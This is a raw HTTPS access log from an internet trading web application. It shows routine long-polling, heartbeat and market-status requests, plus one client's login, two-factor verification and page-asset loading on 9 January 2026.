[09/Jan/2026:14:25:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767940204891 HTTP/1.1" 3188
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:25:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:25:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:25:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940197683 HTTP/1.1" -
[09/Jan/2026:14:25:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940192368 HTTP/1.1" -
[09/Jan/2026:14:25:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940202709 HTTP/1.1" -
[09/Jan/2026:14:25:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940197520 HTTP/1.1" -
[09/Jan/2026:14:25:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940207803 HTTP/1.1" -
[09/Jan/2026:14:25:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940202666 HTTP/1.1" -
[09/Jan/2026:14:25:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:25:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:25:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:25:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:25:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940212868 HTTP/1.1" -
[09/Jan/2026:14:25:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:25:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:25:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940207817 HTTP/1.1" -
[09/Jan/2026:14:25:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940217906 HTTP/1.1" -
[09/Jan/2026:14:25:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940212891 HTTP/1.1" -
[09/Jan/2026:14:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940223007 HTTP/1.1" -
[09/Jan/2026:14:25:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940218019 HTTP/1.1" -
[09/Jan/2026:14:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:25:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:25:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940228078 HTTP/1.1" -
[09/Jan/2026:14:25:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940223170 HTTP/1.1" -
[09/Jan/2026:14:25:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940233107 HTTP/1.1" -
[09/Jan/2026:14:25:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940228362 HTTP/1.1" -
[09/Jan/2026:14:26:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940238195 HTTP/1.1" -
[09/Jan/2026:14:26:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940233491 HTTP/1.1" -
[09/Jan/2026:14:26:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:26:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:26:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940243257 HTTP/1.1" -
[09/Jan/2026:14:26:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:26:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940238672 HTTP/1.1" -
[09/Jan/2026:14:26:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940248284 HTTP/1.1" -
[09/Jan/2026:14:26:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:14:26:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:14:26:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:26:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:26:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940243714 HTTP/1.1" -
[09/Jan/2026:14:26:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 466
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767940260724 HTTP/1.1" 3188
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:26:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:26:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940253369 HTTP/1.1" -
[09/Jan/2026:14:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940248869 HTTP/1.1" -
[09/Jan/2026:14:26:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:26:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940258431 HTTP/1.1" -
[09/Jan/2026:14:26:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940254010 HTTP/1.1" -
[09/Jan/2026:14:26:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940263464 HTTP/1.1" -
[09/Jan/2026:14:26:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940259145 HTTP/1.1" -
[09/Jan/2026:14:26:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940268553 HTTP/1.1" -
[09/Jan/2026:14:26:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940264295 HTTP/1.1" -
[09/Jan/2026:14:26:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:26:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:26:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940273613 HTTP/1.1" -
[09/Jan/2026:14:26:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:26:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:26:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940269436 HTTP/1.1" -
[09/Jan/2026:14:26:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940278648 HTTP/1.1" -
[09/Jan/2026:14:26:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940274488 HTTP/1.1" -
[09/Jan/2026:14:26:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:14:26:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940283744 HTTP/1.1" -
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:26:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 430
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:14:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
